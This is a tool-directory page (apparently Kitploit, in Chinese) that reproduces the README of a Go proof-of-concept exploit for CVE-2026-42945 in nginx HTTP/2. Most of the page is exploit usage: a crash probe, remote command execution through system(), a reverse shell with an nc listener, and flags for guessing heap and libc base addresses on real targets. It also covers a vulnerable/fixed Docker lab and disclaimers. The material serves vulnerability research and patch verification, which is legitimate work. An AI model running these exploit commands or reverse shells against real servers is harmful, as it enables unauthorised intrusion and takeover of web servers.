Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42945 — 基于Go的PoC工具,用于CVE-2026-42945(nginx HTTP/2),具备检测、崩溃探测、命令执行和反向shell功能,仅在授权环境中使用。 | Kitploit
工具/GitHubGitHub/redcrazyghost/cve-2026-42945
漏洞分析漏洞利用Web应用程序漏洞利用模糊测试渗透测试二进制利用
GitHubredcrazyghost/cve-2026-42945

CVE-2026-42945

基于Go的PoC工具,用于CVE-2026-42945(nginx HTTP/2),具备检测、崩溃探测、命令执行和反向shell功能,仅在授权环境中使用。

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42945 PoC(Go)

中文 | English

针对 nginx HTTP/2 实现(CVE-2026-42945) 的探测与利用辅助工具,用于在授权环境中验证漏洞是否存在、对照修复效果,并在可控实验环境中复现 PoC 行为。

受影响版本(粗判):nginx 0.6.27 – 1.30.0;1.30.1+ / 1.31.0+ 已修复。


⚠️ 免责声明(请务必阅读)

本仓库仅供安全研究、漏洞验证与防御性测试使用。

  1. 合法授权:你只能在拥有明确书面授权或完全归你所有的系统上使用本工具。未经授权扫描、探测或攻击他人网络/服务器属于违法行为,作者与贡献者不承担任何法律责任。
  2. 风险自负:利用过程可能导致目标服务 worker 崩溃、业务中断或数据损坏。你应自行评估影响,并在隔离环境中先行验证。
  3. 无担保:本工具按「现状」提供,不保证在任何真实生产环境中成功利用;侧信道结果不等于已达成 RCE,必须通过文件落盘、命令回显或反弹 shell 等方式独立验证。
  4. 禁止滥用:禁止将本工具用于渗透未授权系统、勒索、破坏、挖矿或任何违法用途。下载、编译或使用即表示你已阅读并同意本声明。
  5. 与 NGINX 官方无关:本项目为独立研究实现,不代表 NGINX 官方或任何厂商立场。

如你不接受上述条款,请立即停止使用并删除本仓库。


功能概览

模式说明
-check-only连通性、Server 头、版本粗判、PoC 端点探测
-probe-crash发送一轮溢出探测,通过 worker 崩溃侧信道判断
-cmd构造 exploit 载荷,经 system() 执行指定命令
-shell反弹 shell(需 -lhost,本机需 nc)
-docker批量测试本地 Docker 实验环境(vuln / fixed)

环境要求

  • Go ≥ 1.26(见 go.mod)
  • 可选:Docker + docker compose(本地实验环境)
  • 可选:make、golangci-lint(开发/代码检查)
  • 利用验证:目标需暴露 PoC 所需端点(GET /api/、POST /spray 等);Docker 实验镜像已内置

限制与适用环境


构建

root@kitploit:~
# 快速构建(输出到 bin/,已被 .gitignore 忽略)
make build-cmd

# 或直接使用 go
go build -o ./bin/cve-2026-42945 ./cmd

# 查看嵌入版本
./bin/cve-2026-42945 -version

发布版二进制:在 Releases 下载对应平台的 cve-2026-42945-<os>-<arch>(推送 v* 标签后由 GitHub Actions 自动构建)。


使用指南

命令行参数

root@kitploit:~
-target string      目标 IP/主机名(默认 127.0.0.1)
-port int           目标端口(0=80;Docker 漏洞版常用 19321)
-docker             测试本地 Docker 实验环境(vuln:19321, fixed:19331)
-check-only         仅探测,不发送 exploit 流量
-probe-crash        溢出探测 + worker 崩溃侧信道
-cmd string         经 system() 执行的命令
-shell              反弹 shell(需 -lhost)
-lhost string       反弹 shell 本机 IP
-lport int          反弹 shell 本机端口(默认 4444)
-docker-profile     使用 deploy/docker 实测堆/libc 基址
-heap-base string   堆基址(十六进制,如 0x555555659000)
-libc-base string   libc 基址(十六进制)
-tries int          每个堆候选尝试次数(默认 10)
-timeout int        单次 HTTP 超时秒数(默认 5)
-v                  详细输出
-version            显示版本后退出

-docker 模式不能与 -cmd / -shell 同时使用;对单目标利用请指定 -port 19321。

1. 仅探测目标

root@kitploit:~
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. 崩溃侧信道(单目标)

root@kitploit:~
./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Docker 实验环境对照

先启动实验容器:

root@kitploit:~
make docker-up
# 或
docker compose -f deploy/docker-compose.yml up -d --build

首次构建需编译 nginx,可能需数分钟;docker compose ps 中服务为 healthy 后再运行 make test-lab。

服务端口说明
vuln19321nginx 1.30.0(受影响)
fixed19331nginx 1.30.1(已修复)

批量探测:

root@kitploit:~
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

或使用 Makefile 快捷目标:

root@kitploit:~
make test-lab          # check + probe
make cmd-exploit       # 向 vuln 写入 /tmp/pwned 并提示验证命令

4. 在 Docker vuln 上执行命令(RCE 验证)

实验容器在 ASLR 关闭(setarch -R)且使用 -docker-profile 预置基址时成功率最高:

root@kitploit:~
./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# 验证文件是否写入
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. 反弹 shell

root@kitploit:~
# 终端 1:启动工具(会尝试后台 nc 监听)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# 若未找到 nc,请另开终端手动监听:
nc -lvnp 4444

6. 自定义内存布局

真实目标 ASLR、libc 版本与 Docker 不一致时,需自行泄露或猜测基址:

root@kitploit:~
# 目标须为明文 HTTP 端口(非 TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

结果解读

  • [+] 侧信道: worker 异常:仅表示 worker 可能因溢出崩溃,不能单独作为 RCE 成功的依据。
  • 必须二次验证:检查命令副作用(文件、进程、docker exec 等)。
  • 常见失败原因:ASLR 开启、libc/堆偏移错误、PoC 端点不可用、WAF/限速、容器需 restart。

项目结构

root@kitploit:~
cmd/                 主程序入口
internal/rift/       探测、载荷构造与利用逻辑
deploy/docker/       nginx 1.30.0 / 1.30.1 实验镜像
deploy/docker-compose.yml
.github/workflows/   多平台 Release 构建

开发

root@kitploit:~
make help            # 查看所有 make 目标
make test            # 单元测试
make lint            # golangci-lint
make version         # 显示当前构建版本号

发布新版本:

root@kitploit:~
git tag v1.0.0
git push origin v1.0.0

参考

  • 仓库:https://github.com/RedCrazyGhost/CVE-2026-42945
  • CVE:CVE-2026-42945(nginx HTTP/2 相关漏洞,请以官方公告为准)
  • 许可:MIT License
  • 安全问题:SECURITY.md

再次提醒

仅在你有权测试的系统上使用本工具。 任何滥用行为与作者无关。

下载工具
项目说明
协议仅支持明文 HTTP(net.Dial + 原始 HTTP 字节),不支持 HTTPS/TLS。对 -port 443 等 TLS 端口需前置 TLS 终止或改用 HTTP 端口。
Docker 实验镜像为 linux/amd64,首次 docker compose build 需从源码编译 nginx,耗时较长;容器内使用 setarch -R 关闭 ASLR,与生产环境差异大。
Apple Silicon本地 Docker 通过 platform: linux/amd64 模拟运行,速度较慢。
反弹 shell-shell 依赖系统 nc,Windows 上建议手动监听。
利用判定侧信道(worker 崩溃)不等于 RCE,必须独立验证命令副作用。